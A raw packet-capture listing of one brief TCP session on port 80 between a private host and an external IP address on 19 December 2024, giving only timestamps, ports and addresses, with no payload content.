Dec 19, 2024 08:01:07.966618061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.966662884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.966770887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.966784000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.966818094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.967580080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.967654943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.967665911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.967698097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.968518972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.968559980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.968564987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.968573093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.968651056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.969485044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.969501019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.969511032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.969546080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.970443964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.970488071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.970503092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.970515013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.970550060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.971618891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.971657991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.971668005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.971698999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.972335100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.972368002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.972379923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.972505093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.972546101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.973284960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.973330975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.973345995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.973371029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.974404097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.974447012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.974492073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.974503994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.974540949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.975214958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.975296974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.975321054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.975339890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.976180077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.976221085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.976252079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.976264954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.976298094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.977134943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.977200985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.977212906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.977243900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.978043079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.978086948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.978099108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.978111029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.978143930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.979068995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.979115963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.979127884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.979152918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.979975939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.980001926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.980014086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.980027914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.980062962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.980926991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.980938911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.980952024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.980977058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.981893063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.981936932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.981971025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.981982946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.982021093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.982960939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.982997894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.983010054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.983036041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.983762980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.983805895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.983830929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.983844995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.983875990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.984654903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.984774113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.984786034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.984808922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.985627890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.985668898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.985686064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.985698938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.985734940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.986778021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.986799002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.986809969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.986840010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.987513065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.987565994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.987570047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.987582922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.987621069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.988497972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.988532066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.988543987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.988569975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.029421091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.118597984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.118693113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.118762970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.151521921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.151624918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.151670933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.238325119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.238436937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.238523960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.271486998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.271658897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.271707058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.358091116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.358127117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.358139992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.358175993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.358526945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.358562946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.358592987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.358606100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.358642101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.359487057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.359535933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.359549046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.359570026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.360573053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.360619068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.360619068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.360632896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.360846996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.361404896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.361453056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.361465931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.361493111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.362338066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.362386942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.362410069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.362423897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.362462997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.363296032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.363363981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.363377094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.363409042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.364238977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.364283085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.364312887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.364326954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.364370108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.365252972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.365303040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.365315914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.365350962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.366174936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.366219044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.366228104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.366241932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.366287947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.367074013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.367141962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.367156029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.367187977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.368057013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.368097067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.368113041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.368128061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.368165970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.368994951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.369043112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.369055986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.369082928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.369930983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.369983912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.370021105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.370033979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.370074034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.370933056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.371002913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.371016979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.371052027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.371855021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.371906996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.371917963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.371931076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.371963978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.372946024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.372960091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.372972965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.373016119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.373735905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.373790026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.373795033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.373811007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.373847961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.374728918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.374772072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.374783993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.374810934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.375628948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.375682116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.375682116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.375699043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.375736952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.376635075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.376763105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.376775026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.376808882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.377556086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.377605915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.377618074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.377629995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.377669096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.378509998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.378534079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.378546953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.378577948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.379436016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.379488945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.379503012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.379508972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.379540920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.380400896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.380460978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.380475044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.380497932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.381386995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.381417990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.381431103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.381437063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.381479025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.382311106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.382381916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.382411957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.382417917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.383246899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.383280993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.383291960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.383294106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.383337021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.384182930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.384255886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.384268999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.384290934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.385123968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.385169029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.385195971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.385209084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.385241032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.386099100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.386157036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.386169910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.386193037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.387041092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.387087107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.387114048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.387128115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.387161016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.388057947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.388072014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.388094902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.388111115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.388974905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.389024973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.389260054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.389318943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.389332056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.389357090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.390237093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.390295029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.390326023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.390338898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.390377998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.391180992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.391217947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.391230106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.391253948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.392101049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.392136097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.392144918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.392149925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.392183065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.393049002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.393110991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.393124104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.393146992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.394010067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.394052982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.394056082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.394066095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.394099951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.394996881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.395064116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.395086050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.395113945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.395941019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.395984888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.395998001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.396012068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.396054029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.396881104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.396923065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.396935940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.396959066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.397846937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.397891998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.397893906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.397906065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.397937059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.398771048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.398818970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.398832083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.398854971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.399729967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.399765015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.399777889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.399796963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.399817944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.400753021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.400767088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.400779963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.400825024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.401649952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.401691914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.401695967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.401705980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.401747942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.402574062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.402637005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.402650118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.402673960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:08.403531075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:08.403577089 CET	49739	80	192.168.2.9	194.87.47.113
